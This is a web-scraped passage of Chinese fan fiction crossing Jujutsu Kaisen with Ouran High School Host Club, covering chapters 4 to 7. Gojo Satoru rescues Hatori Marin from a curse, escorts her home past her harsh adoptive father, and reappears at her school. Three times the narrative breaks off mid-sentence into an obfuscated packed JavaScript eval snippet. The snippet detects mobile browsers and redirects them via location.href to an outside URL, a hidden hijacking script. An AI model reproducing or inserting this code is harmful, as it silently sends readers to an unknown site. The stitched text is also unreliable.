突然间,羽鸟真凛倒吸了一口冷气。 “……藤、藤仓先生?!”她难以置信地捂嘴,目光紧锁在地上那张熟悉又苍白的面孔上。 “是你认识的?” “他、他是我的司机。天呐,怎么会这样……” 她声音颤抖着,显然受到了冲击。 “这就是我说的危险,”五条悟站起身,语气平静却严肃地解释,“咒灵会本能地袭击人类,尤其是无法看见它们、更无法保护自己的非术师。” 羽鸟真凛颤巍巍地翻找着手机,打算叫救护车。 她手忙脚乱地翻找自己的单肩包,慌乱中也顾不上有几支口红和皮夹从包口滑落,掉在了地上。 “……没电了。”羽鸟真凛看着黑屏的手机,转而为难地看向五条悟:“五条同学,你的手机能否借我用下?” “可以噢。”他答得轻快,随手从口袋里掏出手机,利落地抛给她。 “谢谢。” 在她转身急切地打电话的时候,五条悟的目光落在她脚边,一个棕色皮夹静静躺在地上。 他弯下腰拾起来一看,那皮夹里面嵌着一张学生证,是她的学生证。 姓名:羽鸟真凛 生年月:1989,6月10日 就读学院:私立樱兰学院 家庭住址:xxxxxx “……” 年龄比他六个月左右,无论是长相、后面的名字、还是出生年月,这些特征统统都对得上,除了她本人完全没有咒力,不记得他也不清楚咒术界的事这一点以外。 他不动声色地,把学生证揣进了自己兜里。 4. 004.无敌男高 挂掉急救电话,将手机递还给五条悟之后,羽鸟真凛乏力地蜷缩在地上。 看着奄奄一息的藤仓先生,她心情自然不太好受,归咎起来她也有一定的责任,如果不是为了配合她的任性,藤仓也不会遭遇这种事。 另一方面,她没想到,五条悟所说的危险真的足以威胁性命,她看不见的那些“咒灵”竟真实存在吗? 不是什么他的自导自演,也不是编造的。如果不是他及时救了她,现在躺在地上的恐怕不止藤仓了。 “抱歉,五条同学,我错怪你了。”她蹲在地上抱紧双臂,指尖按得发白。 “你知道就好。”五条悟耸耸肩,随意地开口。他自幼便背负着常人的不理解,早已习惯了被误解与非议。 其实他能理解羽鸟真凛的怀疑,对此他并不认为有什么好介意的。 他刚挂掉辅助监督的电话,将手机放回口袋里。 羽鸟真凛抬起头问他:“藤仓先生他不会有事吧?” 五条悟慢条斯理地走到她旁边,“这么说吧,一般人被咒灵袭击且能存活下来的概率很小,当场死亡的例子更是不在少数。”他说得毫无波澜。 她一时怔住。 少年的语气过分冷静,有种非人的冷漠,尤其死亡两个字从他口中说出,简单得像在谈论天气。 他究竟过着什么样的人生啊? “不过这位藤仓先生运气不错,”五条悟继续说,“能得到及时救治的话应该不会有生命危险,刚才我也通知了辅助监督过来救人。” 听到这句话,羽鸟真凛悬着的心才稍稍落下。但她忍不住腹诽:这人说话非要这么大喘气吗? “五条同学似乎对这种事很习以为常呢。” 她维持蹲在地上的姿势,与站着的五条悟形成鲜明对比,男生身形高挑,投下的一道影子将她笼罩住。 “嗯,毕竟这就是我的工作,比这还糟糕的场面比比皆是,血肉横飞的那种哦。”五条悟依旧云淡风轻地说。 “……那你的生活可真够‘精彩’的。”羽鸟真凛扯了扯嘴角,她完全不敢想象如何面对那种场景,绝对会吐出来的吧。 她抬起头望向五条悟,那张桀骜的脸分明稚气未脱,看起来大致与她年纪相仿,可他们之间的阅历差距如此大,好像不是一个世界的人。 “怎么了?虽然我很帅,也不用这么赤裸裸地盯着我看吧。”五条悟猝然弯下腰,坦荡地接住她的目光。 此刻帐还未解除,喧嚣依然被隔绝在外,世界似乎安静得只剩下他们二人。 “你这个人……”四目相对间,羽鸟真凛喉间有些卡顿。 她迅速扭过头,故意带着点没好气说:“真是臭屁,我只是在想,你究竟是从什么异界穿越来的。” 五条悟非但没收敛,干脆也蹲下来,与她视线齐平,变本加厉地靠得更近:“你对我就这么好奇?真想了解的话,告诉你也不是不可以。” 她嘴角一阵抽抽。 一个人怎么可以这么不要脸? 但她不得不承认,对方的容貌确实得天独厚到了无耻的程度,真可恶啊! “哼,优秀的男生我见过许多,还不至于随便将一个在路边萍水相逢的不明人物放进眼里。”羽鸟真凛猛地站起身,将头往旁边甩。 “可是你耳尖好像红了哦,该不会是在嘴硬吧?”五条悟尾音微微上挑,带着几分调侃。 “你瞎说。”她下意识摸了摸耳朵,他绝对是瞎说的! 五条悟忽然想到了一些很久远的事。 「你就是那位六眼神子?没什么特别的嘛。」 七岁那年,他初次见到那个女孩,起风便是一场樱花雨的四月,她站在满开的樱花树下,清澈无畏的眼神望向他,就像面对任何一个再普通不过的人。 他从出生起就被高捧于神坛,受尽特殊待遇和各种敬仰或异样的眼光,没有谁能够把他当作对等的存在,自然也没有谁真正地亲近他,包括父母至亲。 只除了那个女孩。 五条悟若有所思地看着此刻的羽鸟真凛。 “连性格也有些相似……” “嗯?你说了什么?”羽鸟真凛侧过头,朝他眨了眨眼。 清澈的绿眼眸在夜色里格外明亮,与他记忆中的样子完美重合。 “你确定真的姓羽鸟?”他问。 她莫名其妙地瞥了眼他:“当然了。” 五条悟没再继续这个话题。 听到远处隐约传来救护车的鸣笛声之后,他解开了帐。 笼罩着四周的暗色屏障缓缓消散,周围的街景恢复原貌,夜晚的街头依旧人来人往。 羽鸟真凛觉得很神奇,有些分不清现实。 救护车来到以后,医护人员将藤仓抬上担架,动作麻利地固定好。 她站在一旁,看着担架被稳稳推进救护车,直到车辆渐渐远去,她悬了许久的心才总算落了下来。 但随之而来的是一个更严重的问题,现在她没有了司机,怎么回家? 而且完全超过了门禁时间,她从来没有这么晚还在外面逗留,手机没有电,家里也联系不上她,父亲此刻应该很生气。 她正焦虑地思索着,一回头,尴尬地撞见了坏笑的五条悟。 “啊咧,有人似乎在发愁呢,需要我搭你一程吗?”他悠闲地晃到她面前,一脸得意洋洋,“我叫来的人应该快到了。” 羽鸟真凛有几分窘迫,“……如果可以的话,我很感激你。” “什么?”五条悟故意将一只手拢在耳边,脑袋微微倾斜,摆出一副 “我没听错吧” 的夸张模样揶揄道:“人家可是‘不明人物’哦,考虑到安全问题的话,让我送你回家不太合适吧,该怎么办呢?” 看他得瑟那样,羽鸟真凛强忍着咬牙切齿的冲动。 “怎么会呢,五条同学。” 她眸子里盛满了故意的真诚,声音做作得自己都快起鸡皮疙瘩:“你是我见过心地最善良、最英俊潇洒的‘不明人物’!” 虽说他的来历依旧是个谜团,之前她对他也有过不善的猜测,但不知道为什么,此刻那些怀疑已经消散得无影无踪,她甚至觉得,他应该是个好人。 “不错,很上道。”五条悟下巴微抬,像只被挠得很舒服的骄傲猫咪,“没办法,夜晚不安全,只好护送你回去咯。” “……”羽鸟真凛不语,只是一味微笑。 来接五条悟的是个青年男人,身穿黑色西装,他特地从车上走下来,对五条悟毕恭毕敬地鞠躬,说了句“您辛苦了”。 羽鸟真凛不禁再次疑惑,看不出来他居然是哪家名门望族的少爷? 想到自己刚才误把他当成讹钱的神棍,还塞给他一点小钱,她顿时羞愧难当,脚趾头都不自觉地蜷缩起来。 按理说他肯定会感到身份受到了侮辱,理应拍案而起愤怒地把钱甩到她脸上。但是他却没有这么做,也没再提起,这件事仿佛就这么过去掉了。 她突然心想:他人还怪好。 “五条同学,你到底是什么人?” “我?”五条悟回过身,轻笑了下:“青春无敌男高。” ——他如此答道。 夜风拂过他雪白的发丝,不羁的笑脸即便在黑夜里仍有阳光的温度,恰如其分地洋溢着青春的气息。 她顿在原地,无声地扬了扬嘴角。 五条悟向辅助监督简单交代了情况,说她是被意外卷入咒灵事件的无关人员,为确保安全需要护送她回家。 随后,他打开后座的车门,对她说道:“大小姐,上车。” 羽鸟真凛受宠若惊,这怎么好意思劳烦五条少爷呢。 这样想着,她身体却很诚实,毫不客气地走过去,准备弯腰入座,正在这时五条悟抢先一步钻了进去,徒留她愣在车门外。 “……” “我忽然想坐在左边了,你还是去坐右边吧。” 这个人真幼稚欸! 无妨无妨,她才不会因为这点小事生气,否则不就中了他的计吗。 她从容地绕到另一边,开门入座,刚坐下就感到空间有些局促——身旁的五条少爷坐姿放纵不羁,大喇喇敞开胯,逆天的长腿简直无处安放,普通轿车的座位对于直逼一米九的身高而言还是矮了些。 “……” 全是腿。 羽鸟真凛感觉自己满眼都是腿,存在感实在太强,想看不到都难。 该死,谁家青春男高发育得这么有冲击力啊?这优越的身体条件,硬是显出几分属于成熟男性的荷尔蒙张力。 因为他宽阔的肩膀和放纵的长腿,空间都变得狭窄,她小心翼翼地保持着距离,却还是能感受到对方身体散发的热度,稍有不慎,两人的肩膀就会不经意碰到。 空气似乎有些稀薄…… 有种快窒息的错觉。 她立刻降下一点窗,让流动的空气进入。 五条悟不知从哪里拿出笔和一张纸,快速地写着什么。 “给你。”末了他将纸张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明明已经回到了自己家,却没有半点轻松感,反倒像要走进什么让她不安的地方。 羽鸟真凛摇摇头,挤出一个生硬的笑。 “那再见了。” 她推开车门,快速下了车,匆匆往家门的方向走。 正在这时,一辆车从后面驶了上来,精准地横停在她面前,她连忙停下脚步。 车门打开,她愕然地看着从车上夺门而出的身影。 “镜夜?” “真凛!” 男生快步走到她面前,他的黑发此刻略显凌乱。 冷静和理智是他一贯的标配,但此刻那副为他遮去了各种情绪的眼镜也掩盖不住他的焦急神色。 “大家都以为你发生了什么意外,是遇到什么事了吗?没事吧?” 因为她深夜未归,羽鸟家联系凤家,请求出动凤家的私人警察找人,凤镜夜也因为一直联系不上她而担忧,特意跑来羽鸟宅看人回来了没有。 “抱歉,让你费心了,只是遇到点小意外,现在没事了。” 身后五条悟的车子还没来得及开走,羽鸟真凛内心忐忑不安地看着凤镜夜,怎么忽然有种在外面偷吃回来被婚约者发现的犯罪感? 这不对吧!明明去牛郎店都没有一丝罪恶感,况且她与身分不明的神秘超能者五条少爷之间,更是八杆子都打不着。 ……为什么会有这种荒唐的念头? “真的没有关系吗?”凤镜夜仅仅从她的脸色就能看得出,她一定是遇到了某些事,但她没有解释的打算。 如果是不能说的事,他也不想强行追问,他不过是担心她的安危。 “真的没关系,让你担心了。”羽鸟真凛愧疚地避开他的目光,委婉地下逐客令:“现在我已经回来了,很晚了,你也回去好好休息吧。” 现在她最担心的是不知如何解释她身后那辆车。 可事情总是不能如她所愿,凤镜夜一动不动注视着那辆车。 “看样子有人送你回来的。”他以陈述的语气冷静地说。 霎那间,黑发男生的眼神穿过她看向不远处,忽然变得锐利:“那位是?” 她向后一回头,站在那里的是不知何时下了车的五条悟,他懒散地倚靠在车身旁,笑眯眯摇摆着手似乎在say hi? 5. 005.吐司边 此刻,凤镜夜与五条悟二人的目光对上。 虽然不清楚五条悟为什么在这种时候冒出来,但羽鸟真凛发现,他偶尔会流露出一种近乎顽劣的幼稚。 ……所以是来捣乱的吧。 而以凤镜夜谨慎的性格,恐怕会把素未谋面的五条悟按可疑人物处理,毕竟他那一身黑的装扮确实过于可疑。 在事情变得复杂之前,羽鸟真凛率先站出来,对自己的幼驯染解释:“没错,是他送我回来的,发生了一些难以预料的事,是这位同学帮助了我。” “镜夜,他是我的恩人。”她强调道。 “是吗。”凤镜夜淡淡地应。 随后,他转过身,脸上即刻挂起流于表面的微笑:“您好,我是凤镜夜。” “非常感谢您把真凛送回来,请问阁下贵姓?”黑发少年微微颔首,姿态优雅得体,受到的良好教刻进他了骨子里,使他任何时候都维持着一份稳重。 至于暗地里有什么心思,只有他自己才知道了。 五条悟全然不吃虚假的社交礼仪这一套。 “五条悟。”他双手插兜道出姓名,流里流气地斜靠在车旁,浑身一副“老子行不更名坐不改姓告诉你又能怎样”的气势。 羽鸟真凛顶着尴尬的空气横插一脚,“很好!那么二位就算认识了!”她双手一拍,发出清脆的响声,刻意拔高音量: “已经是高中生该睡觉的时间了,大家原地解散,各回各家!” “镜夜,谢谢你特意赶过来,给你添麻烦了。”她对凤镜夜说,声音有所缓和,“早点回去休息。” “算不上什么麻烦。下次,至少将手机充好电吧。”凤镜夜回应着,目光却若有所思地掠倚靠着车的白发少年。 “嗯嗯,别操心啦。” 这时,羽鸟真凛转向五条悟,唇瓣轻启:“五条同学……” 话没说完被对方利落打断。 “我知道了。”五条悟转过身随意扬了扬手,绷直的侧脸有几分说不清的意味。 她下意识想要说些什么,话语却卡在喉间,随着他关上车门“砰”的一声化为泡影。 二人都坐上车后,羽鸟真凛深吸一口气,自己往宅邸大门走去。 确认凤镜夜和五条悟所乘坐的车均调过头准备驶离,她才按下门边上的呼叫铃。 繁重的黑铁雕花大门颇有秩序地缓缓向两边敞开。 接着她便看到,父亲以及母亲携着管家等一众人,声势浩荡地等候在宅邸的玄关门前,作为迎接未免夸张得感人,但羽鸟真凛知道这不是什么好事。 她迈着沉重的步伐走过去。 “真凛。” 低沉而严肃的嗓音自身前响起,父亲羽鸟谦一郎的身影像块巨石朝她逼来。 他没有质问,而是朝身后的管家递了个眼神。管家立刻上前来,小心翼翼地察看她身上是否有伤之类的,又询问她身体状况,羽鸟真凛回答说没有受伤。 紧接着—— “啪!” 一记响亮的耳光落在她脸上。 “家里的规矩都忘了吗?”羽鸟谦一郎挥出的手仍停留在半空,他眼里充满失望,声音像是冰窖中吹来的寒风。 在他看来,既然女儿没有任何意外,定然是不遵守家规在外面鬼混。 羽鸟真凛捂住火辣辣的脸颊,只觉得像一团火在烧,连同她的心一起。 “老爷,不如先听小姐说明。”老管家上前扶住她,一边悄悄用眼神示意,只要给出合理的理由老爷会谅解的。 她沉默了几秒,生硬地挤出几个字:“对不起,父亲。” 没有任何解释的必要,尽管她的确遭遇了意外,然而她痛恨家规,留恋外面的花花世界也确有其事。 “真凛!你平时不是这样的孩子。”母亲羽鸟美珠连忙走上前,柔美的脸上写满慌张:“一定是……一定是交友不慎,结识了不三不四的朋友,对不对?他们把你带到什么地方去了?” 母亲羽鸟美珠曾经也是大家闺秀,年轻时保持着家教良好一尘不染的深闺大小姐风范,嫁为人妻后依旧安分地遵守妇道,以相夫教子为己任,这也是她试图传递给真凛的观念。 ——但是对不起,母亲,我从来就不是你想象中的那个好孩子。 羽鸟真凛低垂着头,缄口不言。 羽鸟谦一郎眉头紧皱,透露出不容置疑的威严:“真凛,你自己交待,今晚与谁在一起,否则不许进入家门。” 他铁了心相信女儿是跟不三不四的人去鬼混。 “老爷,再怎么说这也太……”老管家开口想替她求情,但话到嘴边却又咽了回去,他的怜悯之心终究比不上姥爷的威严。 而羽鸟美珠唯唯诺诺站在一旁,更是不敢多言半句。 她和丈夫之间有一种无言的共识,真凛必须是遵规守矩的乖孩子,如果女儿有任何逾矩行为,都是身为母亲的她教导无方,她将在丈夫面前抬不起头。 “……”羽鸟真凛始终不说话,她捏紧手心,任凭指甲用力地嵌进肉里。 对羽鸟谦一郎而言,家规即是他尊严和地位的象征,漠视家规即是对父权的公然挑衅,而他把父权的尊严看得远比她本人重要。 羽鸟真凛深知这一点。 “真凛,快说。”父亲的声音又提高了几分,带着不容抗拒的压迫感。 “父亲,我……” “她和我在一起。” 极不和谐的一个声音忽然闯入僵局,众人都打了个激灵。 羽鸟真凛猛然抬头循声望去,只见今天已震撼过她许多次的那道身姿,又再次震惊到了她。 “五条——” 身量高挑的男生迈着悠闲的步子从黑暗中走来。 她不明白,他不是走了吗?她确认过他坐的车已经调了头,她实在不明白他为什么会回来,还出现在这个节骨眼上。 只见五条悟在她旁边站定,视线略高于羽鸟谦一郎,他说道: “羽鸟的司机因为车祸被救护车送医,落单的羽鸟自然就被不怀好意的人贩子盯上了,毕竟她一看就是有钱人家的小姐嘛。正巧我路过,撞见人贩子把她绑上车的场面,就出手相救咯。之后嘛,自然是去警察局报案、做笔录,最后把她送了回来,中间省略了一些过程,反正大致情况就是这样。” 他滔滔不绝的一顿输出把众人唬得一脸懵。 羽鸟真凛双目圆瞪,他是怎么做到瞬间编造出如此完整的故事,并且毫无卡顿行云流水地说完了这番话,这种仿佛背台词一样明显的谎话会有人信吗! “原来是这样。”羽鸟美珠松了口气说:“真凛,为什么一开始不说清楚呢?人贩子没有把你怎么样吧?” ……还真有人信! 说明她在父母心中信用度确实挺高,毕竟多年来扮演着知礼守己的乖女儿形象早已深入人心。 羽鸟美珠脸上的表情混合着后怕与庆幸,似乎终于找到了一个能让她安心接受女儿深夜未归的理由,真凛还是她的乖乖女儿,足以证明她并没有失职。 这时羽鸟真凛悄悄瞥向五条悟,他嘴角轻轻上挑着,浅浅拉下墨镜露出一半眼,那双苍瞳即刻冲她“bling”地眨了下。 意思是接下来该她表演了。 她原本已心如死灰做好了接受惩罚的准备,被他这么一搅合,家庭暴力的伤感事件突然演变成了某种无厘头喜剧的画风,变得可笑起来。 “当时……当时我真的很害怕,包括现在也是,一想到就忍不住颤抖,我不知道该从哪里说起……” 羽鸟真凛突然演技爆发,表演得栩栩如真,演技迫真,竟然发起抖来,随之掉出一颗本来不存在的眼泪。 “多亏了五条同学相救,没有他我真的不知道怎么办才好……后来我饿了,五条君提出去吃宵夜,我也觉得应该宴请五条君以示感谢,所以……我们就去吃了宵夜,真的只有这样而已。”她身临其境的演绎着,表现得楚楚可怜、我见犹怜。 这次五条悟目瞪口呆:让你配合谎言演戏,没让你抢奥斯卡! “好了,已经没事了。”羽鸟美珠安慰道。 “老爷,确实联络不上藤仓。”管家手里握着赶挂断的电话。 “真凛小姐,请问在哪家医院?” 她对管家报出医院的名字。 果然只有打工人会共情打工人。 “事情的经过我明白了。”羽鸟谦一郎说道,严肃的神情此刻稍松懈下来,他转向五条悟微微颔首:“我向你表示衷心的感谢,谢谢你救了小女。” 然而五条悟却不以为意,不屑地反问道:“比起感谢我,你不应该先为刚才平白无故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在这个家里,她的自我是不被需要的,就像三明治的吐司边基于和谐之美被切掉一样,属于羽鸟真凛最鲜明的棱角,基于家族,基于体面、规矩,基于羽鸟这个姓氏,要被切掉,掩藏起来,将内心深处的情绪隐匿于父母塑造的模型之下。 她已经学会了不在意。 所以,请不要再说了。 她在心里请求着。 “哈?” 五条悟的唇角微微张开,保持在一个微妙且僵硬的弧度固定住。 非常不爽。 与他印象中全然不符的、预料之外的温顺姿态,这副不顾自己所受的委屈也要维护自己不明事理的父亲的姿态。 因为完全无法理解,因而非常不爽。 “喂,你在装乖孩子吗?”他鼻腔里发出一声若有似无的轻嘲,却并未带来丝毫快意,那股莫名的烦躁仍在他心头窜动。 “我只是不想事情变得不可收拾。”她避开他的目光,声线里几乎带着恳求:“五条同学,你的好意我心领了,请不要再说了!” “我偏不要——”他斩钉截铁,不容拒绝,执拗又嚣张。 她看着他,那双无所顾忌的、打破常理的苍蓝眼睛,蛮横地,直射而来的目光像一种危险信号,导致她浑身紧绷,心脏突突地跳。 “这里,”他声音清晰,确保在场每个人都能听到:“好像没有一个人真正地在乎你。” ……为什么。 为什么要说出来? 她花了很多年,花了很多时间,好不容易学会了不在意,让自己的心在时光侵蚀中慢慢钝化,变得锈迹斑斑,学会不在乎是否被爱,不在乎是否被看见,因此才能够日复一日地维持着表面的平静。 “啊,所以在车上的时候,才会露出那种表情。”五条悟恍然道。 “这个被你称作父亲的人究竟有几分在乎过你?”他轻嗤了声,话音里带了点不知道针对谁的讥讽。 “你果然不是亲生的吧?” “……” 她张了张嘴,却发不出任何声音,胸腔沉闷无比,仿佛被塞进一团湿乎乎的棉花阻隔着氧气,每次呼吸都感到沉甸甸。 为什么? 为什么非要闯进来蛮横地撬开那扇紧闭的门,为什么非要让她重新看见那个蜷缩在黑暗中的卑微的自己,为什么非要让她重新记起,自己原来依然会渴望,依然会在乎。 不要管她就好了啊,到底为什么要来管她! 五条悟看到她仰起头,那双揉杂着复杂情绪的绿眼睛,忽明忽暗氤氲着水雾,然后几乎是愤怒地瞪着他。 白发男生猝不及防,不自觉感到一丝慌乱。 “咦,要哭了?” 6. 006.碰撞 “你果然不是亲生的吧?” 那时候,从五条悟说出这句暴言之前,她的意识就开始涣散,脑子形同一滩浆糊。 她只记得满腔被看穿的难堪,被撕开伪装的愤怒,还有一种濒临崩溃的脆弱。 不记得眼泪最终有没有掉下来。 她反倒宁愿有,这种时候的泪水会显得她像个正常的青春期少女,而不是一个长久隐忍麻痹成性、心如磐石的怪物。 记得在场的人当中,母亲以及管家和女佣统统捂住嘴,呆木弱鸡地望着五条,仿佛有天大的丑闻对外泄露了出去。 父亲骂五条悟胡说八道,随后便勒令两名女仆将她和他分隔开,怒不可遏地命令管家送客。 “真凛,你上楼去!” 羽鸟谦一郎头也不回地对她说,“不管他是不是救过你,我不许你再和这种无礼之徒来往!” “父亲,请等等——” 当时,好像还想对五条悟说什么来着。 “把她带走!” 不容置疑的怒声直接打断了她。 两名女仆过来圈住了她的手臂,将她带离现场。步伐不受控制地向前驱动着,而她的头始终转向后方,紧紧锁着站在那儿的五条悟。 尽管对他充满气愤,却又揉杂了些别的她说不上来的什么,情绪翻滚着,像从一堆打翻的调料瓶里洒出、黏糊糊混在一起的酱料。 渐渐地,已经看不清他是怎样的表情。 她一紧一闭的喉咙,直到他彻底消失在视野里,也没能发出声音。 事实的确如他所说。 她是羽鸟家收养的孩子。 因此,她没有理由获得父母毫无条件的宠爱。 付出数十倍的努力,无一怨言地学习被安排得满满的课程,乖巧且识大体,才能换取名义上的父母亲给予一点点的关注。 尽管如此,虚假的父母仍然不可能真正地爱她,她用不长不短的岁月证实了一点,并且最终接受。 从一开始深切地渴求被爱,到后来学会不再奢望,过程中消耗了无数个伴随着成长痛的深夜。 她本该已经彻底习惯,彻底不在意的,本以为是这样…… 可这个夜晚,再次拥有了过去灾难般的生长痛。 但是天亮之后,她依然要不留痕迹地扮演好那个没有情绪、不曾忤逆父母的乖女儿。 而这个夜晚由他掀起的波澜,亦注定在平静无波的日常中消弭吧,很多事情往往都如此。 在困意如潮水般漫过意识之前,她这样想到。 于是,羽鸟真凛沉沉地闭上了眼。 五月的末尾不热也不凉。 一周过去,生活依然平淡无奇地进行,羽鸟真凛每天按部就班地上课下课,午休时偶尔去公关部露面。 这里提供的红茶和点心非常棒,她权当来高级喫茶店了。 当然,花了钱的,樱兰公关部的副部长可是知名的守钱奴凤镜夜。 坐在靠窗的位置,有清朗的日光倾洒而下,听着公关部一群人依旧叽叽喳喳,她心无旁骛地阅读着普希金诗集。 说起来,她的学生证莫名丢失,经过一周都没有找到,幸亏她进出校园和在图书馆借阅都是通过刷脸,是这个姓氏带来的一点微小便利罢了。 今天,其他光顾公关部的女生们似乎在谈论奇怪的事情。 “……真的哦,前几天,三年级有对情侣在北边旧校舍里幽会,第二天双双病倒了,至今都没来学校。”女生A神秘兮兮地讲述,眼里闪着兴奋又恐惧的光芒。 “后来,有别的学生去那儿探险,结果……第二天也缺席了!” 女生B说:“好可怕,灵异事件?” 女生C说:“不会吧,应该是什么巧合啦,不过旧校舍很适合作为试胆大会的场所呢。” “是诅咒,是诅咒在作祟。”一个声音幽幽地介入其中。 依旧不知道从哪里冒出来的猫泽学长,他一身全黑的道袍,帽子遮住半张脸,偶尔会发出故弄玄虚的鬼声音,这位学长在某种意义上也是校园里公认的“神棍”。 他发出低沉的笑声:“呵呵呵呵呵……终于,轮到我们黑魔法部大显身手了。” “不!等等!”须王环猛地从旁边闪现,他眼中闪着某种使命感:“为了还全校师生一个安全与幸福的环境,我提议公关部的成员们齐心协力解决这个问题!” 一旁翻阅着财务报告的凤镜夜连头都没抬,只淡淡地瞥了他一眼:“哦?具体怎么做,部长?” 须王环瞬间卡壳,气势肉眼可见地矮了一截:“呃……这个嘛……动用我们各人家族的财力和人脉总会有办法的吧喵?” 试图萌混过关。 “笨蛋。”凤镜夜毫不留情地泼冷水。 “呜呜呜镜夜你居然说身为部长的我是笨蛋!” “……” “不可以。” 羽鸟真凛“啪”地合上手中的诗集,从椅子上猛然站起。听到那些所谓的灵异事件,她眼前忽然浮现出藤仓鲜血淋漓的样子。 万一,她是说万一,所谓的灵异怪谈与藤仓遭遇到的咒灵是相同的呢,也不是没有这种可能。 “各位,请不要把危险当作游戏,这不是学生该插手的事情。”羽鸟真凛坚定地告诫道,以至于声音有些显得不近人情。 她这么一说,似乎扰了所有人的兴,大家都因她严肃的口吻而沉默下来。 “真凛说的有道理,我也赞成。” 凤镜夜终于从文件上抬起眼,面无表情地推了推眼镜。 “说的也是呢……”女生们附和着。 羽鸟真凛忽然不想呆在这里了。 她径直转身,走出第三音乐教室,裙摆在半空划过利落的弧度,背影透着难以接近的疏离。 活动室内有片刻的寂静。 “真凛小姐……”须王环望着她消失的方向说,“看起来不太开心呢。” “女孩子有一点情绪化很正常吧?”常陆院光抱着手臂总结,一旁的常陆院馨默契地点头。 “可是,学姐平时都很温柔的,还是第一次见学姐这样呢。”藤冈春绯也颇为疑虑,关切地问道:“镜夜学长你有什么头绪吗?” “……没有。”凤镜夜继续低下头,冰冷的镜片反射着灯光,遮住了他眼底的情绪。“真凛她从来没有把心事讲给别人听的习惯。” 没错,她从来不会向任何人侃侃而谈自己的心事,即便是对交情最久的他。 羽鸟真凛其实并没有什么不开心,但也没什么特别值得开心的,只是想到那些诅咒灵异之类的,她便莫名地烦躁不安。 午后的校舍长廊空无一人,脚步落下空旷的回响,耳边传来隐约的风声,内心在这一刻获得安宁。 她下意识抬起头,目光投向走廊一侧明亮的窗。 窗外的青空碧蓝如洗,那蓝色纯粹而静谧,几絮柔软的白云悠然徜徉其间,不紧不慢变换着形状。 就……像极了某双眼睛。 可恶,为什么会想到那家伙。 那点烦躁的由头此刻她已然清晰明了。 思绪微微停顿,她从裙子口袋里掏出一张皱巴巴的纸张,上面的号码有些掉色了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600097|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说什么是呼叫超级英雄的方法,她还真就把这张破纸条随身携带着了。再说一周过去,她依旧连个咒灵的影子都没看到。 羽鸟真凛走出南校舍,移步到中庭。 樱兰占地面积大,光是庭院也足够宽广,学生们三三两两,分散在各个角落。 忽然间,一阵嘈杂的声浪由远及近。 “他往那边去了!” “姐妹们,追!” 一群女生如同草原上狂奔的野马,呼啸着从她身旁飞奔而过。 强烈的劲风把她的裙角吹得老高,剩她在风中凌乱了几秒钟。 “是羽鸟学姐呀,午安。” 总算还剩一个没跟上大部队的落单女生,因为跑得太急而停下来,喘着气和她打招呼。 “贵安。”羽鸟真凛笑着回应,“同学,请问发生什么事了? “学姐你不知道吗?学校里新来了一个超级有型的男老师!大家听说他往中庭这边来了,就全都追过来了!” 她飞快地解释完,仿佛生怕错过一秒钟,也急忙一转身投入追星的浪潮中。 樱兰学院的大小姐们喜欢追捧帅哥已然见怪不怪,否则公关部也不至于如此火热。 羽鸟真凛回身,兀自在中庭散步,经过一座被修剪得颇具艺术感的植物雕塑前,那儿茂盛的阴影中窜动着鬼鬼祟祟的影子,突然间人影从后面冒出来,她来不及闪躲,被对方迎面撞上。 鼻尖被迫碰上温热的衣襟,她连忙后退两步,捂住鼻子。 “啊,抱歉抱歉。” “没关系……”羽鸟真凛抬起头,动作和声音霎时间一同停滞。 白发,俊朗得过分的脸,怎么看怎么欠扁的圆形墨镜。要素过多,她差点怀疑自己的眼睛有没有坏,这里是樱兰学院没错吧? 她收回前言,才不是没关系,关系可大了。 “五条悟?!”她出声,“你怎么在这儿?” 话音落下,一抹尴尬飞快地窜上心头,她别开脸面,视线落在旁边的灌木丛。 但对方看到她显然没那么意外,反而笑了笑。 “NO,NO~请叫我五条老师。”白发男生伸出一根手指,故作帅气地晃了晃,随即略微向前勾下腰:“二年A年班的羽鸟同学是吧?找了你好久哦。” 镜片下透着墨色的蓝眼睛向她逼压过来,带着嬉笑。 “你在开玩笑吗。”她快速扫了他一眼,装扮不同于上次那身不知名组织的全黑制服,而是西装革履。 “你好像一早就知道我在这所学校,但我不认为你有什么正当的理由找我,五条同学。” “即便你的学生证在我这里?” “嗯?” “前段时间捡到的,忘记还你了。” “……” “那你还不快还来。” “喏——” 五条悟故意拖长语调,从上衣口袋里摸出一个皮夹,在她面前晃了晃。 确认过是自己的皮夹后,羽鸟真凛便劈手去夺。 “嘿!”五条悟笑着轻松一个侧身躲开,将拿着学生证的手举得更高。 他这一闪,她扑了个空,身体因惯性微微前倾,阵风从身后吹起,将她的长发吹散,露出白皙纤细的脖颈。 在那片平日被发丝严密遮挡的、光洁的肌肤之上,隐约可见一块奇特的深红印记。 血红的图案从眼前闪过,五条悟眼神骤然一紧。 即便只是一闪而过,他的“六眼”如同最精密的仪器般自动运转后完成了解析。 ——那是咒印。 7. 007.幼驯染 五条悟抬起手,不再是那副嬉闹的模样,他抓住羽鸟真凛的肩膀。 “你最近有没有接触过什么奇怪的人?” “干嘛啦?”她被这突如其来的严肃和触碰惊得颤了下,随即脱口而出:“有。” “谁?” “你呀。” “……我没在开玩笑。” “我也没有。” 羽鸟真凛解释最近一周家里管得严,根本没有机会接触任何陌生人,新换的司机也是羽鸟集团的老员工。 五条悟松开手,但目光依旧没放开她,他指向自己的后颈:“那你知不知道,你这里,有一个不同寻常的印记?” 